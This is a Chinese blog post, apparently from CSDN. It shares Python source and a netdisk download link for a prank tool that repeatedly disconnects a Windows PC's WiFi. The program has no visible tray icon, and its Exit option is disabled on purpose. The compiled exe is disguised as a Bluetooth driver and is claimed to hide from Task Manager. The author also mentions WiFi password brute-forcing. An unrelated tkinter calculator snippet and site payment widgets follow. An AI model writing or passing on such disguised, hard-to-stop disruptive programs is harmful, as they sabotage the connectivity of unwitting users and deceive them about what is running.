python断网小能手

这不是病毒!这不是病毒!这不是病毒!

这只是小小的恶趣味~
最近本来在做WiFi密码爆破滴,顺手原理reverse一下做了“断网小能手”。减毒版本只会暂时关闭所有无线网络接口,不会攻击网络配置和开机自启动哒。开启状态是无法连接互联网的,关掉就能连接辣。目前只适用windows系统哈。
还伪装成了一个“蓝牙图标”嘿嘿。
想要的小朋友来网盘里取https://pan.baidu.com/s/1oqFe-0VBZhryMtDvqSb2tA  提取码:8848

源码简直不要太简单

import pywifi
import pystray      ##pystray 库,这是用于创建系统托盘图标和菜单的库
from PIL import Image
import threading
from PIL import Image, ImageDraw


# 定义你的可执行代码
def function():
    while True:
        wifi = pywifi.PyWiFi()          # 创建一个PyWifi对象
        iface = wifi.interfaces()[0]    # 获取WiFi接口,返回计算机上的所有无线网络接口的列表
        iface.scan()# 扫描可用的WiFi网络
        iface.disconnect()
        

def on_exit(icon, item):    ##on_exit 函数会在点击系统托盘菜单中的 "Exit" 选项时被调用
    icon.stop()             #icon.stop() 来停止系统托盘图标

def main():       ##创建系统托盘图标
    # 创建一个透明背景的图像
    width, height = 64, 64  # 图像的宽度和高度
    image = Image.new('RGBA', (width, height), (0, 0, 0, 0))  # 最后一个参数 (0, 0, 0, 0) 表示完全透明的背景

    # 启动一个线程来运行可执行代码
    func_thread = threading.Thread(target=function)
    func_thread.daemon = True
    func_thread.start()


    # # 本来下面这段代码的作用是在点击系统托盘图标时,会弹出Exit图标,以供退出,但这里注释掉了,所以无法退出
    # menu = (pystray.MenuItem('Exit', on_exit), )
    # # 创建了一个菜单对象 menu,它包含一个名为 "Exit" 的菜单项,当点击时会调用 on_exit 函数。



    icon = pystray.Icon("", image, "")
    # icon = pystray.Icon("MyScript", image, "MyScript", menu)  #创建了一个系统托盘图标对象 icon
    # # "MyScript": 图标的名称
    # # image: 图标的图像数据
    # # "MyScript": 鼠标悬停在图标上时显示的提示信息
    # # menu: 菜单对象,包含 "Exit" 菜单项,这是上面定义好的,这样没有采用


    icon.run()  #启动系统托盘图标,使其显示在系统托盘中,并等待用户交互

if __name__ == '__main__':
    main()

其实本来挺正常一玩意,但作者狗了一下,现在看起来exe长这样

这个exe运行之后网断了,然而并不会有窗口弹出来,系统托盘里也找不到它、

啥?任务管理器?我怎么会让你在任务管理器里找到它呢?

正确的关闭方法如下:
win键+R键 打开 “运行”窗口
输入cmd再按回车打开一个黑色的命令行窗口
输入taskkill /f /im windows蓝牙驱动.exe再按回车就可以关掉了
 

关掉后就能联网啦

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
以下是一个简单的 Python 程序,用于计算两个数字的和,并通过 GUI 窗口化显示结果。 ```python import tkinter as tk root = tk.Tk() root.title("计算小能手") num1_label = tk.Label(root, text="第一个数字:") num1_label.grid(row=0, column=0) num1_entry = tk.Entry(root) num1_entry.grid(row=0, column=1) num2_label = tk.Label(root, text="第二个数字:") num2_label.grid(row=1, column=0) num2_entry = tk.Entry(root) num2_entry.grid(row=1, column=1) result_label = tk.Label(root, text="") result_label.grid(row=2, column=0, columnspan=2) def calculate(): try: num1 = float(num1_entry.get()) num2 = float(num2_entry.get()) result = num1 + num2 result_label.config(text="结果:%.2f" % result) except ValueError: result_label.config(text="请输入数字!") calculate_button = tk.Button(root, text="计算", command=calculate) calculate_button.grid(row=3, column=0, columnspan=2) root.mainloop() ``` 该程序使用了 tkinter 模块,它是 Python 的标准 GUI 库。在程序中,我们创建了一个窗口并设置了标题。然后,我们创建了三个标签和两个输入框,用于输入两个数字。我们还创建了一个标签,用于显示计算结果。 我们还创建了一个函数 calculate(),用于计算两个数字的和并更新结果标签的文本。该函数首先尝试从输入框中获取两个数字,并将它们相加。如果输入的内容不是数字,它会抛出 ValueError 异常。在这种情况下,我们更新结果标签的文本,以提示用户输入数字。 最后,我们创建了一个“计算”按钮,当用户点击它时,程序将调用 calculate() 函数计算结果并更新结果标签的文本。我们将按钮放置在最后一行,并将其跨越两列。最后,我们调用 mainloop() 函数,使程序进入事件循环,并等待用户与窗口交互。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值